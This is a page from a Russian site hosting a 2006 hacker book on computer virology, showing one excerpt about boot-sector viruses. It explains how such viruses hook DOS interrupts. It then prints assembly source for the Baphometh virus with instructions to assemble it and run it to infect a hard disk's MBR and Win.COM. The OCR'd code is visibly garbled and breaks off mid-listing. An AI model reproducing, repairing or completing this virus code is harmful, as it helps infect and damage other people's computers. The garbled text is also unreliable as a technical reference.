Книги
чёрным по белому
Главное меню
Главная О нас Добавить материал Поиск по сайту Карта книг Карта сайта
Книги
Археология Архитектура Бизнес Биология Ветеринария Военная промышленность География Геология Гороскоп Дизайн Журналы Инженерия Информационные ресурсы Искусство История Компьютерная литература Криптология Кулинария Культура Лингвистика Математика Медицина Менеджмент Металлургия Минералогия Музыка Научная литература Нумизматика Образование Охота Педагогика Политика Промышленные производства Психология Путеводители Религия Рыбалка Садоводство Саморазвитие Семиотика Социология Спорт Столярное дело Строительство Техника Туризм Фантастика Физика Футурология Химия Художественная литература Экология Экономика Электроника Энергетика Этика Юриспруденция
Новые книги
Цуканов Б.И. "Время в психике человека" (Медицина)

Суворов С. "Танк Т-64. Первенец танков 2-го поколения " (Военная промышленность)

Нестеров В.А. "Основы проэктирования ракет класса воздух- воздух и авиационных катапульных установок для них" (Военная промышленность)

Фогль Б. "101 вопрос, который задала бы ваша кошка своему ветеринару если бы умела говорить" (Ветеринария)

Яблоков Н.П. "Криминалистика" (Юриспруденция)
Реклама

Азбука хакера 3. Компьютерная вирусология - Собейкис В.Г.

Собейкис В.Г. Азбука хакера 3. Компьютерная вирусология — М.: Майор, 2006. — 512 c.
ISBN 5-98551-013-1
Скачать (прямая ссылка): hakeriazbukahakera2006.djvu
Предыдущая << 1 .. 70 71 72 73 74 75 < 76 > 77 78 79 80 81 82 .. 123 >> Следующая

Все было бы просто, но MS-DOS еще не загружен в тот момент, когда
выполняется код вируса (то есть во время загрузки). Чтобы перехватывать
функции и прерывания MS-DOS, мы должны дождаться загрузки MS-DOS.
Для этого авторы вирусов используют перехват int ICh или int 8h (таймеры,
которые вызываются 18.2 раза в секунду). В них инсталлируются счетчики.
Если вам требуется ожидание в 5 секунд, вы устанавливаете счетчик на 5 *
18.2. Когда MS-DOS загружается, вы получаете в свое распоряжение весь
набор ее функций.
Здесь возникает новая проблема: компьютеры имеют разные скорости. Метод
может вызвать зависание, если компьютер медленный, то есть 5 секунд
пройдет, a MS-DOS так и нет загрузится. Зависание произойдет и в том
случае, если компьютер слишком быстрый, то есть через 5 секунд уже будет
производиться загрузка Windows.
Именно поэтому вирус Baphometh (v2.1) начал использовать другой метод,
который называется методом CTRL-ALT-DEL. Он не привязан к таймерным
прерываниям, а проверяет векторы int 20h и int 2lh (полагая, что при
загрузке DOS сегменты int 20h и int 21h уже не равны нулю).
Обработчик int 13h вируса Baphometh v2.1 выглядит следующим образом:
Evillnt13h:
pushf
cmp ah,0F2h ;чек (проверка) на инсталляцию
jne NolnstallCheck
movbx,4321h
popf
iret
NolnstallCheck:
pusha ;служба обработки начинается здесь
push ds
Варфоломей Собейкис. АЗБУКА ХАКЕРА-3
cmp byte ptr cs:[DosFinishedLoading],1 ;выход из ;службы, если
обнаружено,
je DontHooklnt21 hYet ;что DOS уже загружена
хог ах,ах
mov ds,ax ;ds = таблица прерываний mov ax,ds:[21h*4+2] ;ах = сегмент int
21 h cmp ax,0 ;выход, если ноль
je DontHooklnt21hYet cmp ax,800h ;выход, если выше 800h
ja DontHooklnt21 hYet
cmp ax,ds:[20h*4+2] ;выход, если не равен сегменту ;int2lh
jne DontHooklnt21 HVbt ;иначе устанавливаем флаг, который ;указывает, что
mov byte ptr cs:[DosFinishedLoading],1 ;DOS уже загружена,
lea ax,Evillnt21 h ;и перехватываем int 21 h
mov bx.cs
cli
xchg ax,ds:[21h*4]
xchg bx,ds:[21h*4+2]
mov word ptr cs:[Goodlnt21 h],ax
mov word ptr cs:[Goodlnt21h+2],bx
sti
DontHooklnt21 hYet:
popds
popa
cmp ah,2
jne NotForUs
cmpcx,1
jne NotForUs
ГЛАВА 6. Инфицирование загрузочного сектора
cmp dh.O jne NotForlls
....и так далее....
Это обработчик для Baphometh v2.1. Ниже представлен код первой версии
этого вируса. Она использует таймерный метод ожидания. Предупреждаю, что
код не оптимизирован и содержит дополнительные черты, не обязательные для
демонстрационного примера.
Я советую вам сфокусировать внимание на таймерной службе и на перехвате
прерываний. Все остальное является индивидуальными чертами вируса.
Исходный код вируса Baphometh
Вирус Baphometh был написан вирусмейкером CTRL-ALT-DEL - членом группы
Alternative Virus Mafia. Чтобы компилировать его, сохраните код как
bapho.asm, затем напечатайте TASM bapho.asm и TLINK bapho.obj. Для этого
вируса не нужен дроппер. Просто выполните сгенерированный .ЕХЕ-файл и
заразите им MBR вашего первого HDD.
При этом будет инфицирован Win.COM и перехвачено int 21 h. В следующий
раз, когда стартуете компьютер, вирус перехватит int 13h и инфицирует все
доступные диски.
.286
Baphometh segment assume cs:Baphometh
ORG О
COM equ 0
Варфоломей Собейкис. АЗБУКА ХАКЕРА-3
EXE equ 1 StartOf Baphometh: jmp OverFloppyStuff
db 3Ch dup(?)
OverFloppyStuff: xor ax,ax cli
mov sp,7C00h mov ss.ax sti
mov ds.ax
subwcxdptrds:[413h],4 уменьшаем верхнюю часть памяти ; на4KB
movax,ds:[413h]
shl ax,6
mov es.ax push cs pop ds
movcx.EndOfFirstPart - StartOf Baphometh xor di.di mov si,7C00h
rep movsb копируем вирус в верхнюю часть памяти push es
push offset TopOfMem
retf ; продолжаем выполнение в TopOfMem
Marker dw 'DT'
ГЛАВА 6. Инфицирование загрузочного сектора
Вирус Baphometh содержит больше одного сектора кода, поэтому эта
подпрограмма возвращает цилиндр, головку и сектор, в которых сохраняется
остальной код вируса (цилиндр 0, головка 1, сектор 12 на дискетах и
цилиндр 0, головка 0, сектор 3 на жестких дисках).
GetBaphomethSector:
movcx.12
mov dh, 1
cmpdl,80h
jb ItsAFIoppy
mov cx,3
movdh.O
ItsARoppy:
ret
TopOfMem: xorax.ax mov ds.ax
leaax,Ev#nt13h ; перехват прерывания 13h
movbx,cs
di
xchgds:[l3h*4],ax
xchg ds:[13h*4+2],bx
mov word ptr cs: [Goodlntl 3h],ax
mcv word ptr cs: [Goodlntl 3h+2J,bx
sd
mcvax,0202h читаем остальной код вируса leabx,EndOfFrstPart ;в памяти
(прикрепляем его после cal GetBaphomethSector {первых 512 байтов)
calOidint13h
mov word ptr cs: [Timer],0 ;сбростаймера
movDosfirushedLoading.O ;0=dosemeHeзагружен
Варфоломей Собейкис. АЗБУКА ХАКЕРА-3
lea ax.EvillntlCh ;перехват int 1Ch (таймер, который выполняется movbx,cs
; 18.2 раза за секунду)
сЯ
xchgds:[1Ch*4],ax xchg ds:[1Ch*4+2],bx mcvword ptr cs:[Goodlnt1Ch],ax mov
word ptr cs:[Goocflnt1Ch+2],bx sti
pushes
popds
int19h ; перезагрузка
EvilntlCh: ;o6pa6oT4*Kint1Ch
pushf .
pusha
pushds
cmp byte ptr cs:[DosFinishedLoading],1
je DontHooklnt21 hYet ;если DOS уже загружена, просто выход
Предыдущая << 1 .. 70 71 72 73 74 75 < 76 > 77 78 79 80 81 82 .. 123 >> Следующая